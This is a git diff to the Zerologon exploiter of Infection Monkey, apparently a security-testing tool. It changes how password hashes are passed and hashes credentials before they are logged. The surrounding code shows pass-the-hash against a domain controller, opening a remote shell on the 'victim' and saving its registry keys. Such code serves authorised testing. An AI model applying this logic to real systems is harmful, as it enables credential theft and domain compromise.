diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py
index 5cf589fcd..dee5c349a 100644
--- a/monkey/infection_monkey/exploit/zerologon.py
+++ b/monkey/infection_monkey/exploit/zerologon.py
@@ -163,13 +163,13 @@ class ZerologonExploiter(HostExploiter):
                 ]
                 try:
                     original_pwd_nthash = self.get_original_pwd_nthash(
-                        username, ":".join(user_pwd_hashes)
+                        username, user_pwd_hashes
                     )
                     if original_pwd_nthash:
                         break
                 except Exception as e:
                     LOG.info(
-                        f'Credentials "{user_details}" didn\'t work. Exception: {str(e)}'
+                        f"Credentials didn\'t work. Exception: {str(e)}"
                     )
 
             if not original_pwd_nthash:
@@ -304,7 +304,7 @@ class ZerologonExploiter(HostExploiter):
         if nthash not in self._config.exploit_ntlm_hash_list:
             self._config.exploit_ntlm_hash_list.append(nthash)
 
-    def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str:
+    def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
         if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
             return
 
@@ -335,13 +335,16 @@ class ZerologonExploiter(HostExploiter):
         finally:
             self.remove_locally_saved_HKLM_keys()
 
-    def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
-        LOG.debug(
-            f'Starting remote shell on victim with user: "{username}" and hashes: "{user_pwd_hashes}". '
+    def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
+        LOG.info(
+            f'Starting remote shell on victim with credentials:\n'
+            f'user: {username}\n'
+            f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : '
+            f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}'
         )
 
         wmiexec = Wmiexec(
-            ip=self.dc_ip, username=username, hashes=user_pwd_hashes, domain=self.dc_ip
+            ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip
         )
 
         remote_shell = wmiexec.get_remote_shell()